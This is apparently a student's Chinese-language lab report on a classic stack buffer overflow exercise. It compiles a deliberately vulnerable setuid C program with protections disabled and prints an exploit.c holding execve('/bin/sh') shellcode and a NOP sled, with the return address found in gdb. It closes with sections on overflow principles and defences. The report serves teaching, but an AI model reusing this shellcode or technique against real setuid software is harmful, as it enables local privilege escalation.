首页 > 其他分享 >实验七-缓冲区溢出

实验七-缓冲区溢出

时间:2022-12-15 15:22:48浏览次数:45  
标签:x90 E5% E7% buffer 实验 缓冲区 stack 溢出

实验七-缓冲区溢出

实验指导书内容

实验准备

  • 安装gdb
  • 1 sudo apt-get update
    2 sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    3 sudo apt-get install -y python3.6-gdbm gdb

初始设置

  • 关闭使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址这一功能
  • 1 sudo sysctl -w kernel.randomize_va_space=0
  • 设置zsh程序
  • 1 sudo su
    2 cd /bin
    3 rm sh
    4 ln -s zsh sh
    5 exit

漏洞程序

  • 在 /tmp 目录下新建一个 stack.c 文件
  • 1 cd /tmp
    2 vim stack.c
  • 并在stack.c文件中输入以下代码
  •  1 /* stack.c */
     2 
     3 /* This program has a buffer overflow vulnerability. */
     4 /* Our task is to exploit this vulnerability */
     5 #include <stdlib.h>
     6 #include <stdio.h>
     7 #include <string.h>
     8 int bof(char *str)
     9 {
    10     char buffer[12];
    11 
    12     /* The following statement has a buffer overflow problem */ 
    13     strcpy(buffer, str);
    14 
    15     return 1;
    16 }
    17 
    18 int main(int argc, char **argv)
    19 {
    20     char str[517];
    21     FILE *badfile;
    22 
    23     badfile = fopen("badfile", "r");
    24     fread(str, sizeof(char), 517, badfile);
    25     bof(str);
    26 
    27     printf("Returned Properly\n");
    28     return 1;
    29 }
  • 编译该程序,并设置 SET-UID
  • 1 sudo su
    2 gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    3 chmod u+s stack
    4 exit

攻击程序

  • 在 /tmp 目录下新建一个 exploit.c 文件并编译
  • 1 cd /tmp
    2 vim stack.c
  • 输入如下
  •  1 /* exploit.c */
     2 /* A program that creates a file containing code for launching shell*/
     3 #include <stdlib.h>
     4 #include <stdio.h>
     5 #include <string.h>
     6 
     7 char shellcode[] =
     8     "\x31\xc0" //xorl %eax,%eax
     9     "\x50"     //pushl %eax
    10     "\x68""//sh" //pushl $0x68732f2f
    11     "\x68""/bin"     //pushl $0x6e69622f
    12     "\x89\xe3" //movl %esp,%ebx
    13     "\x50"     //pushl %eax
    14     "\x53"     //pushl %ebx
    15     "\x89\xe1" //movl %esp,%ecx
    16     "\x99"     //cdq
    17     "\xb0\x0b" //movb $0x0b,%al
    18     "\xcd\x80" //int $0x80
    19     ;
    20 
    21 void main(int argc, char **argv)
    22 {
    23     char buffer[517];
    24     FILE *badfile;
    25 
    26     /* Initialize buffer with 0x90 (NOP instruction) */
    27     memset(&buffer, 0x90, 517);
    28 
    29     /* You need to fill the buffer with appropriate contents here */
    30     strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    31     strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    32 
    33     /* Save the contents to the file "badfile" */
    34     badfile = fopen("./badfile", "w");
    35     fwrite(buffer, 517, 1, badfile);
    36     fclose(badfile);
    37 }
  • 进入 gdb 调试
  • 1 gdb stack
    2 disass main

  • 有图可知我的断点和示例相同,都是0x0x0484ee
  • 接下来设置断点
  • 1 b *0x080484ee
    2 r
    3 i r $esp

  • 根据0xffffd270加64算出结果,并修改文件
  • 1 vim exploit.c

  • 可知将\x??\x??\x??\x??对应改成\d4\d2\ff\ff
  • 编译 exploit.c 程序
  • 1 gcc -m32 -o exploit exploit.c

攻击结果

  • 先运行攻击程序 exploit,再运行漏洞程序 stack
  • 1 ./exploit
    2 ./stack

缓冲区溢出的原理

  • 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的 堆栈 ,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
  • 程序员通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区溢出的防范

系统管理上的防范策略

  • 一要关闭不需要的特权程序,二要及时给程序漏洞打补丁。

软件开发过程中的防范策略

  • 发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。所以针对这些要素,从技术上可以采取一定的措施。
  •  强制写正确的代码:只要在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲旦中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。
  •  通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码。通过使被攻击程序的数据段地址空间不可执行,从商使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。
  • 改进C语言函数库:C语言中存在缓冲区溢出攻击隐患的系统匾数有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以开发出更安全的封装了若干己知易受堆栈溢出攻击的岸函数。
  • 使堆栈向高地址方向增长:使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。
  • 在程序指针失效前进行完整性检查:原理是在每次在程序指针被引用之前先检测该指针是否己被恶意改动过,如果发现被改动,程序就拒绝执行。
  • 利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离。

参考网页

  • https://blog.csdn.net/weixin_45007073/article/details/116502542
  • https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453#:~:text=%E5%8E%9F%E7%90%86%20%E9%80%9A%E8%BF%87%E5%BE%80%E7%A8%8B%E5%BA%8F%E7%9A%84%20%E7%BC%93%E5%86%B2%E5%8C%BA,%E5%86%99%E8%B6%85%E5%87%BA%E5%85%B6%E9%95%BF%E5%BA%A6%E7%9A%84%E5%86%85%E5%AE%B9%EF%BC%8C%E9%80%A0%E6%88%90%E7%BC%93%E5%86%B2%E5%8C%BA%E7%9A%84%E6%BA%A2%E5%87%BA%EF%BC%8C%E4%BB%8E%E8%80%8C%E7%A0%B4%E5%9D%8F%E7%A8%8B%E5%BA%8F%E7%9A%84%20%E5%A0%86%E6%A0%88%20%EF%BC%8C%E9%80%A0%E6%88%90%E7%A8%8B%E5%BA%8F%E5%B4%A9%E6%BA%83%E6%88%96%E4%BD%BF%E7%A8%8B%E5%BA%8F%E8%BD%AC%E8%80%8C%E6%89%A7%E8%A1%8C%E5%85%B6%E5%AE%83%E6%8C%87%E4%BB%A4%EF%BC%8C%E4%BB%A5%E8%BE%BE%E5%88%B0%E6%94%BB%E5%87%BB%E7%9A%84%E7%9B%AE%E7%9A%84%E3%80%82

  • https://www.yisu.com/news/id_455.html

标签:x90,E5%,E7%,buffer,实验,缓冲区,stack,溢出
From: https://www.cnblogs.com/liudi20221408/p/16985016.html

相关文章

  • 缓冲区溢出实验
    一.实验简介(原理)缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的......
  • 实验七-缓冲区溢出
    实验指导书内容一、实验简介缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。......
  • 2022-2023-1 20221020漆心雨《 缓冲区溢出实验》
    缓冲区溢出实验一、实验简介缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意......
  • 实验七--缓冲区溢出实验 20221323侯冒祯
    缓冲区溢出漏洞实验报告目录实验指导书内容缓冲区溢出的原理缓冲区溢出的防范实验成果1.实验指导书内容指导书籍:《计算机科学概论》额外参考:《C语言程序设计(第4......
  • 火山引擎DataTester:无需研发人力,即刻开启企业A/B实验
    近日,火山引擎A/B测试平台——DataTester对产品内A/B实验的“可视化编辑器”进行了新的升级,对交互、预览、Xpath的层次结构视图等能力均做了优化。 据介绍,火山引擎Dat......
  • 《DFZU2EG_4EV MPSoc之FPGA开发指南》第十七章 按键输入实验
    第十七章按键输入实验上一章,我们介绍了STM32MP157的IO口作为输出的使用。本章,我们向大家介绍IO口作为输入使用的操作方法,我们将利用板载的3个按键来控制LED灯亮和灭以及......
  • 《DFZU2EG_4EV MPSoc之FPGA开发指南》第十六章 蜂鸣器实验
    第十六章蜂鸣器实验上一章,我们介绍了STM32MP157的IO口作为输出的使用。本章,我们将通过另外一个例子继续巩固IO口作为输出使用的操作方法,不同的是本章讲的不是用IO口直接......
  • 实验七 缓冲区溢出(20221425陆宇航)
    实验原理:缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由......
  • R语言代做编程辅导因子实验设计STA305/1004 Assignment(附答案)
    全文链接:http://tecdat.cn/?p=30896(AdaptedfromWu,Hamada,2009)Thefollowingexperimentwasperformedatapulpmill.Plantperformanceisbasedonpulpbri......
  • 实验七-缓冲区溢出
    实验指导书内容一、实验简介缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段......